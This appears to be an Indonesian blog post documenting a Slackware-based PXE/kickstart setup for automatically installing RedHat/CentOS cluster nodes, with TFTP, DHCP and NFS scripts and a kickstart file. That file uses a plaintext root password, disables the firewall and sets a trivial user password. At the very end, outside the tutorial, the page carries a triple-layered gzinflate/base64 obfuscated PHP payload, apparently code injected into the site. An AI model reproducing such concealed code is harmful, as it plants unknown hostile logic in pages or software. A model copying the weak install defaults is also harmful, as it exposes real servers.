Delicious

Archives

Categories

PXE installer

  ozzie / 27/11/2012


just share & sekedar dokumentasi:
mungkin judulnya Gado-gado dari PXE (Preboot eXecution Environment) installer cross distro :)) :))

jika sekedar install system cluster linux pada 1, 2, 3 atau 5 mungkin gak ada masalah :-??
tapi…. jika install cluster di 100?… 200?… 500 mesin linux? atau lebih?? demi High-Availability 8-> cabut colok monitor keyboard? apeee dehh 8-} 8-}

mungkin lebih tepatnya: “create RedHat/CentOS automatic installer dgn TFTp / Kickstart & NFS di slackware” cmmiw :">

1. TFTP
untuk slackware ada 2 cara mengaktifkan service tftp:
- via service rc.inetd (/etc/inet.d.conf)

tftp  dgram   udp     wait    root    /usr/sbin/in.tftpd  in.tftpd -s /tftpboot -r blksize

- atau create init script (/etc/rc.d/rc.tftpd)

#!/bin/sh
# Start/stop/restart the IPv4 Trivial File Transfer Protocol server (in.tftpd)
# Written for Slackware Linux by Erik Jan Tromp
 
tftpd_start() {
  if [ -x /usr/sbin/in.tftpd ]; then
    echo "Starting in.tftpd:  /usr/sbin/in.tftpd -l -s /tftpboot/"
    /usr/sbin/in.tftpd -l -s /tftpboot/
  fi
}
 
tftpd_stop() {
  killall in.tftpd
}
 
tftpd_restart() {
  tftpd_stop
  sleep 1
  tftpd_start
}
 
case "$1" in
'start')
  tftpd_start
  ;;
'stop')
  tftpd_stop
  ;;
'restart')
  tftpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

buat direktory /tftpboot & copy pxelinux.0 dari CD/DVD RedHat/CentOS & create pxelinux.cfg

# mkdir /tftpboot
# mkdir /tftpboot/pxelinux.cfg
#
# cp /mnt/cdrom/images/pxelinux.0  /tftpboot/pxelinux.0
# cd /tftpboot/pxelinux.cfg
# vi default

isi dari file konfigurasi default tftpboot:

default RHEL-Kickstart
label RHEL-Kickstart
  kernel isolinux/vmlinuz
  append initrd=isolinux/initrd.img text  ks=nfs:10.0.5.250:/tftpboot/kickstart/default.ks ksdevice=eth0

2. DHCP
- init script dhcp (/etc/rc.d/rc.dhcpd)

#!/bin/sh
# Start/stop/restart the DHCP Server (dhcpd)
# Written for Slackware Linux by Erik Jan Tromp
dhcpd_start() {
  if [ -x /usr/sbin/dhcpd -a -f /etc/dhcpd.conf ]; then
    echo "Starting dhcpd:  /usr/sbin/dhcpd -q eth0"
    /usr/sbin/dhcpd -q eth0
  fi
}
 
dhcpd_stop() {
  if [ -r /var/run/dhcpd.pid ] ; then
    kill `cat /var/run/dhcpd.pid`
  else
    killall dhcpd
  fi
}
 
dhcpd_restart() {
  dhcpd_stop
  sleep 1
  dhcpd_start
}
 
case "$1" in
'start')
  dhcpd_start
  ;;
'stop')
  dhcpd_stop
  ;;
'restart')
  dhcpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

- konfigurasi DHCP (/etc/dhcpd.conf)

# dhcpd.conf
#
# Configuration file for ISC dhcpd
#
allow bootp;
 
 
subnet 10.0.5.0 netmask 255.255.255.0 {
    option domain-name "kebonbinatang.org";
    option broadcast-address 10.0.5.255;
    option subnet-mask 255.255.255.0;
    option routers 10.0.5.254;
}
 
group {
  next-server 10.0.5.250;          
  filename "/pxelinux.0";
 
  host node1 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.1;
  }
  host node2 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
	fixed-address 10.0.5.2;
  }
  host node3 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.3;
  }
  host node4 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.4;
  }
 
  ... Dan SeTerusnya....
}

3. NFS
- aktifkan service nfs & rpc

# chmod +x /etc/rc.nfsd
# chmod +x /etc/rc.rpc

- edit file /etc/exports

/tftpboot       10.0.5.0/24(ro,sync,insecure,all_squash)

4. Source Installer
- copy semua isi CD/DVD & buat file konfigurasi kickstart

# cp -rvf /mnt/cdrom /tftpboot
# mkdir /tftpboot/kickstart

- edit file /tftpboot/kickstart/default.ks

text   #text base installation
install  #fresh install
network --device=eth0 --bootproto=dhcp  --noipv6 #configure network based on alokasi dhcp
nfs --server=10.0.5.250 --dir=/tftpboot  #media pd saat install
lang en_US.UTF-8
keyboard us  #keyboard map
rootpw passwordnya-siroot 
#firewall --service=ssh #enable ssh
firewall --disabled  #disable firewall.. cuma lokal no public
selinux --enforcing
authconfig --enableshadow --enablemd5
timezone Asia/Jakarta
bootloader --location=mbr --append="noexec=off"
skipx
reboot  #udh beres auto reboot
zerombr yes 
clearpart --all --initlabel  #bantai partisi
part /boot --fstype ext3 --size=150 --ondisk=sda #bikin partisi boot
part pv.01 --size=1 --grow --ondisk=sda # LVM
part pv.02 --size=1 --grow --ondisk=sda
volgroup rootvg pv.01
volgroup satvg pv.02
logvol /    --vgname=rootvg --size=xxxxxx --name=rootvol
logvol swap --vgname=rootvg --size=xxxxxx --name=swapvol
auth  --useshadow  --enablemd5
 
%packages 
@core
@high-availability
mc
drbd
 
%post
(
/bin/echo "Welcome to $HOSTNAME " > /etc/motd 
/bin/echo "Built from kickstart version $VER " >> /etc/motd
/bin/echo " " >> /etc/motd
 
## sedikit tweak
cat >> /etc/sysctl.conf << EOF
fs.aio-max-size = 1048576
fs.file-max = 327680
net.core.rmem_max = 262144
net.core.wmem_max = 262144
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.ip_forward = 0
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
EOF
 
# Add  user sesuka hati
useradd -c "user cacad" -d /home/cacad cacad
echo cacad | passwd --stdin cacad
 
#edit host
cat > /etc/hosts << EOF
127.0.0.1       localhost.localdomain           localhost
10.0.5.1		node1.kebonbinatang.org	node1
10.0.5.2		node2.kebonbinatang.org	node2
10.0.5.3		node3.kebonbinatang.org	node3
10.0.5.4		node4.kebonbinatang.org	node4
10.0.5.5		node5.kebonbinatang.org	node5
10.0.5.6		node6.kebonbinatang.org	node6
10.0.5.7		node7.kebonbinatang.org	node7
10.0.5.8		node8.kebonbinatang.org	node8
dst
EOF
 
/sbin/chkconfig iptables off
/sbin/chkconfig ip6tables off
/sbin/chkconfig isdn off
/sbin/chkconfig postfix off
/sbin/chkconfig cman on
/sbin/chkconfig iscsi off
/sbin/chkconfig iscsid off
/sbin/chkconfig ntpd  off
/sbin/chkconfig sandbox off
 
 
# Turn some services on and off
) > /tmp/kickstart-install.log 2>&1

mungkin segini dulu sambil beresin dokumentasi.. 8-}


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>